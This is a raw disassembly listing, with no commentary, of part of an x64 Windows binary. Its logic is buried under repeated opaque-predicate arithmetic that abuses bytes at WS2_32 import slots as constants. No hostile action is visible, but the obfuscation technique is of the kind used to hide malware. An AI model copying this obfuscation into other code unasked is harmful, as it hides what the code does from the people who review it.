lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400586f9
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 4], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 4]
test eax, eax
je 0x1400588e3
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005883a
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005883a
lea r15d, [r14 + 0x20]
mov dword [rbp - 0x40], esi
mov dword [rbp - 0x20], r15d
xor edi, edi
jmp 0x140058a82
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400588cd
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x40], eax
jmp 0x1400588d0
mov eax, dword [rbp - 0x40]
xor edi, edi
cmp edi, eax
jge 0x1400588e5
lea r15d, [r14 + 0x20]
mov dword [rbp - 0x20], r15d
jmp 0x140058a82
xor edi, edi
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400589db
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400589db
mov dword [rbp - 0x24], esi
mov r15d, r14d
mov dword [rbp - 0x20], r14d
jmp 0x140058a82
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058a6e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x24], eax
jmp 0x140058a71
mov eax, dword [rbp - 0x24]
cmp edi, eax
jge 0x140058a7e
mov r15d, r14d
mov dword [rbp - 0x20], r14d
jmp 0x140058a82
mov r15d, dword [rbp - 0x20]
movzx r14d, word [r12]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058e12
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
mov rcx, rdi
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
lea eax, [r14 - 0x41]
cvtdq2pd xmm0, xmm0
cmp eax, 0x19
setbe cl
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058b89
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140058b89
mov dword [rbp - 0x1c], esi
jmp 0x140058c1a
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058c1a
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x1c], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x1c]
test eax, eax
je 0x140058e12
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058d61
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140058d61
lea eax, [r14 + 0x20]
mov dword [rbp - 0x18], esi
mov dword [rbp - 0x10], eax
mov eax, r15d
sub eax, dword [rbp - 0x10]
mov dword [rbp - 0x68], eax
jmp 0x14005914f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058df4
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si ecx, xmm0
mov dword [rbp - 0x18], ecx
jmp 0x140058df7
mov ecx, dword [rbp - 0x18]
xor edi, edi
cmp edi, ecx
jge 0x140058e14
lea eax, [r14 + 0x20]
mov dword [rbp - 0x10], eax
mov eax, r15d
sub eax, dword [rbp - 0x10]
mov dword [rbp - 0x68], eax
jmp 0x14005914f
xor edi, edi
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058f10
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140058f10
mov eax, r15d
mov dword [rbp - 0x14], esi
sub eax, r14d
mov dword [rbp - 0x10], r14d
mov dword [rbp - 0x68], eax
jmp 0x14005914f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140058fa3
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0x14], eax
jmp 0x140058fa6
mov eax, dword [rbp - 0x14]
cmp edi, eax
jge 0x140058fae
mov dword [rbp - 0x10], r14d
mov eax, r15d
sub eax, dword [rbp - 0x10]
mov dword [rbp - 0x68], eax
jmp 0x14005914f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400590ad
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400590ad
mov dword [rbp - 0xc], esi
jmp 0x140059148
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059140
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 0xc], eax
jmp 0x140059143
mov eax, dword [rbp - 0xc]
cmp r14d, eax
jge 0x14005914f
mov dword [rbp - 0x68], 0xffffffff
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor r12d, r12d
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov eax, r12d
cmp dword [rbp - 0x68], eax
cvtdq2pd xmm0, xmm0
sete al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005920d
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005920d
mov dword [rbp - 8], esi
jmp 0x14005929e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005929e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
mov dword [rbp - 8], eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 8]
test eax, eax
jne 0x1400592fa
mov r14, qword [rsp + 0x68]
mov eax, dword [r14]
add r14, rax
mov qword [rsp + 0x68], r14
jmp 0x140056f15
mov rax, qword [rsp + 0x68]
mov edi, dword [rax + 0x50]
jmp 0x140059307
mov edi, dword [rbp]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400593fc
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x140059495
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005948c
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
jmp 0x140059490
mov eax, dword [rsp + 0x70]
cmp r12d, eax
jge 0x14005949a
mov r14d, edi
jmp 0x14005949e
mov r14d, dword [rbp + 4]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059801
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
test r14d, r14d
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov rax, r12
cvtdq2pd xmm0, xmm0
sete al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005959b
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005959b
mov edi, esi
jmp 0x14005962f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005962b
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si edi, xmm0
jmp 0x14005962f
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x140059801
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059764
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14005adb7
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400597f4
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
